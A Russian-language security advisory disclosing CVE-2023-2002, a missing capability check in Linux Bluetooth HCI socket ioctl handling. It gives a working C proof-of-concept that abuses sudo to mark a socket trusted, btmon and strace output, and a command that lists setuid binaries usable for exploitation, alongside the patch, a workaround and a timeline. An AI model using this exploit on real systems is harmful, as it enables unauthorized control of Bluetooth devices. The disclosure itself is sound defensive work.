
Linux Bluetooth - Выполнение произвольных команд управления от имени непривилегированного пользователя
В подсистеме Bluetooth ядра Linux обнаружена недостаточная проверка прав при обработке системных вызовов ioctl для сокетов HCI. Из-за этого задачи без надлежащей возможности CAP_NET_ADMIN могут легко помечать сокеты HCI как доверенные. Доверенные сокеты предназначены для отправки и получения управляющих команд и событий, например для сопряжения или подключения нового устройства. В результате непривилегированные пользователи могут получить доверенный сокет, что приводит к неавторизованному выполнению управляющих команд. Для эксплуатации требуется лишь наличие набора широко используемых setuid-программ (например, su, sudo).
Непосредственной причиной уязвимости является следующий фрагмент кода:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
Реализация системного вызова ioctl проверяет, обладает ли задача, вызывающая вызов, необходимой возможностью CAP_NET_ADMIN для обновления флага HCI_SOCK_TRUSTED. Однако эта проверка учитывает только вызывающую задачу, которая не обязательно является открывшей сокет. Например, сокет может быть передан другой задаче с помощью fork и execve, и эта задача может быть привилегированной, например setuid-программой. Более того, если сокет используется как stdout или stderr, выполняется вызов ioctl для получения параметров tty, что можно проверить с помощью команды strace.
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
Вызовы ioctl для параметров tty никогда не завершатся успешно на сокетах HCI, но их достаточно, чтобы пометить сокеты HCI как доверенные. Таким образом, непривилегированная программа может удерживать доверенные сокеты HCI, что позволяет ей отправлять и получать управляющие команды и события, поскольку доверенный флаг никогда не будет снят.
Эксплуатация может быть настолько простой, как показано ниже:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
Кроме того, btmon можно использовать для подтверждения того, что сокет становится доверенным и последующие управляющие команды выполняются успешно:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
Полный PoC-эксплойт для изменения состояния питания устройств Bluetooth можно найти на GitHub.
При успешной эксплуатации выявленная уязвимость может нарушить конфиденциальность, целостность и доступность Bluetooth-связи. Злоумышленники могут использовать эту уязвимость для сопряжения контроллера с вредоносными устройствами, даже если служба Bluetooth отключена или не установлена. Также можно предотвратить сопряжение конкретных устройств или прочитать некоторые конфиденциальные данные, такие как OOB-данные.
Эксплуатируемая уязвимость присутствует в ядре Linux начиная с v4.9. Точнее, она становится эксплуатируемой после коммита f81f5b2db869 («Bluetooth: Send control open and close messages for HCI raw sockets»). До этого коммита для эксплуатации требовалось обманом заставить привилегированную программу привязать HCI-сокет, что на практике очень сложно (если вообще возможно) вызвать. Однако после этого коммита требуется лишь обманом заставить привилегированную программу вызвать системный вызов ioctl, что зависит только от наличия setuid-программы, как показано выше.
Эксплуатация работает до тех пор, пока существуют setuid-программы (или, точнее, программы с возможностью CAP_NET_ADMIN), которые вызывают ioctl для stdin, stdout или stderr. В большинстве дистрибутивов Linux быстрая (но очень грубая) проверка показывает, что довольно много setuid-программ используют системные вызовы ioctl; в таблице ниже они отмечены символом 'V':
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
После ручной проверки вывода strace было обнаружено, что все эти пользователи ioctl используют вызовы ioctl для stdin, stdout или stderr, чтобы получить или установить параметры tty. Обратите внимание, что этим setuid-программам не передаётся вообще никаких аргументов. Если передать специально подготовленные аргументы, число пользователей ioctl может увеличиться. В результате ряд дистрибутивов Linux может быть уязвим к эксплуатации.
В качестве примечания: устройства Android, однако, вряд ли будут затронуты, поскольку для эксплуатации требуется наличие setuid-программ, использования которых Android избегает уже некоторое время. Кроме того, на Android также нет приложений с возможностью CAP_NET_ADMIN.
Патч был опубликован в списке рассылки linux-bluetooth; он исправляет эту уязвимость, заменяя capable() на sk_capable(), где sk_capable() проверяет не только текущую задачу, но и то, что задача, открывшая сокет, обладает требуемой возможностью. Одновременно другой представленный патч ужесточает логику обработки ioctl, проверяя допустимость команды в начале hci_sock_ioctl() и немедленно возвращая код ошибки ENOIOCTLCMD, если команда недопустима.
В качестве обходного пути, если устройства Bluetooth вообще не используются (но физически удалить устройство невозможно), можно просто заблокировать устройства с помощью rfkill, что предотвратит их включение. В этом случае отправка управляющих команд для включения устройств Bluetooth не будет успешной. Это может значительно снизить воздействие данной уязвимости.
Есть два способа избежать подобных уязвимостей в будущем: ужесточение ядра Linux и ужесточение пользовательских setuid-программ.
Эта уязвимость использует ровно тот же принцип, что и CVE-2014-0181. В случае CVE-2014-0181 проблема заключалась в отсутствии механизма авторизации операций Netlink на основе открывшего сокет, что позволяло локальным пользователям изменять сетевые настройки, используя Netlink-сокет в качестве stdout или stderr setuid-программы.
2023-04-04: Я обнаружил эту уязвимость во время аудита стека протоколов Bluetooth в ядре Linux.
2023-04-09: Я сообщил об этой уязвимости команде безопасности ядра Linux и поставщикам дистрибутивов вместе с первоначальной версией патчей.
2023-04-12: Этой уязвимости присвоен идентификатор CVE-2023-2002.
2023-04-13: После нескольких дней обсуждения с мейнтейнерами патчи были соответствующим образом обновлены.
2023-04-16: Уязвимость была раскрыта в публичном списке рассылки oss-security и на GitHub (здесь). Два патча были опубликованы в публичном списке рассылки linux-bluetooth (первый, второй).
2023-05-01: Исправление попало в основную ветку ядра (в рамках окна слияния v6.4), а также в v6.3.1, v6.2.14, v6.1.27 и v5.15.110. Оно также было добавлено в очередь для следующего стабильного выпуска ядер v5.10, v5.4, v4.19 и v4.14.
2023-05-17: Наконец, исправление было включено во все стабильные ядра. В частности, оно также было применено к ядрам v5.10.180, v5.4.243, v4.19.283 и v4.14.315.